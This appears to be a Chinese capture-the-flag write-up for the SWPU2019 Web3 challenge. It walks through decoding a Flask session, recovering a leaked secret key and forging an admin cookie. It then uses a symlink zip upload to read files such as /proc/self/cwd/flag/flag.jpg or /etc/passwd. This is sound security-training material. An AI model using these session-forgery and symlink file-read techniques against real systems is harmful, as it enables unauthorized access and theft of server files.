BUUCTF：[SWPU2019]Web3

参考：https://www.leavesongs.com/PENETRATION/client-session-security.html
http://forever404.cn/2019/12/14/SWPU2019web%E5%A4%8D%E7%8E%B0/

点击upload有权限设置，猜测cookie伪造

权限不够，查看session

使用P师傅的脚本可以解这个session

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

PS C:\Users\Administrator\Desktop\TEST\py\py3> python3 .\test1.py ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.Xp7hlA.diTHwjCTpV8Pl0FKgv0_fdYhfPw"
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}
PS C:\Users\Administrator\Desktop\TEST\py\py3> 

接下来就是伪造sessIon，首先伪造session加密需要key，key在访问不存在的目录时，会出现在请求头当中，很容易注意，base64解码即可

U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
         
keyqqqwwweee!@#$%^&*

其次，如何修改session才能获得更高的权限

{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}

能想到也就是这里这个id，可能类似linux的uid，修改为1

{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}

接下来就是需要加密即可
加密脚本：https://github.com/noraj/flask-session-cookie-manager

PS C:\Users\Administrator\Desktop\TEST\py\py3> python3 .\flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
                                                                                                              
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Xp7n9g.Wrfpp0DVY6_pH_mpD3_l6nNTpWU

PS C:\Users\Administrator\Desktop\TEST\py\py3>  

获得上传权限，页面注释有源码

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

定义两个路由,上传的那个路由就是上传一个压缩的图片,服务器进行解压再显示图片,我们这里可上传一个软连接压缩包,来读取其他文件,showflag路由告诉我们flag.jpg放在flask根目录的flag目录下

构造payload

ln -s是Linux的一种软连接,类似与windows的快捷方式
ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码
/proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录

ln -s /proc/self/cwd/flag/flag.jpg test
zip -ry test.zip test

上传压缩包，抓包